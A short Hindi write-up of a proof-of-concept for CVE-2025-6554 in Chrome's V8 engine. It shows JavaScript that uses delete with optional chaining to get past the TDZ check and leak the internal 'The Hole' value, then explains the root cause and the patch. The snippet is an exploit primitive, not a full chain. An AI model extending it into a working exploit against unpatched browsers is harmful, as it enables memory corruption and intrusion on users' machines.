
CVE-2025-6554 के लिए प्रमाण-अवधारणा शोषण: V8 जावास्क्रिप्ट इंजन प्रकार भ्रम जो TDZ बायपास के माध्यम से optional chaining delete में होता है, और मेमोरी भ्रष्टाचार के लिए The Hole एस्केप को सक्षम करता है।
function leak_hole() {
let x;
delete x?.[y]?.a;
return y;
let y;
}
function pwn() {
let hole = leak_hole();
%DebugPrint(hole);
}
pwn();
घोषणा से पहले एक चर y तक पहुंचा गया। सामान्यतः इससे ReferenceError (TDZ) ट्रिगर होना चाहिए, लेकिन पुराने V8 में, जब delete x?.[y] के साथ जोड़ा गया, तो जाँच विफल हो गई और आंतरिक सेंटिनल मान "The Hole" लौटाया।
V8 ने केवल एक बार TDZ की जाँच की, फिर गलत तरीके से मान लिया कि y वैध है। इसने "The Hole" को उपयोगकर्ता कोड में बच निकलने दिया।
पैच प्रत्येक पहुंच पर एक नई TDZ जाँच (ThrowReferenceErrorIfHole) को लागू करता है, यह सुनिश्चित करता है कि आरंभीकरण से पहले y हमेशा थ्रो करे। प्रभाव: हमलावर "The Hole" को पकड़ सकते हैं और टाइप कन्फ्यूजन, स्टैक ट्रिक्स, या स्कोप बाइपास के लिए इसका दुरुपयोग कर सकते हैं।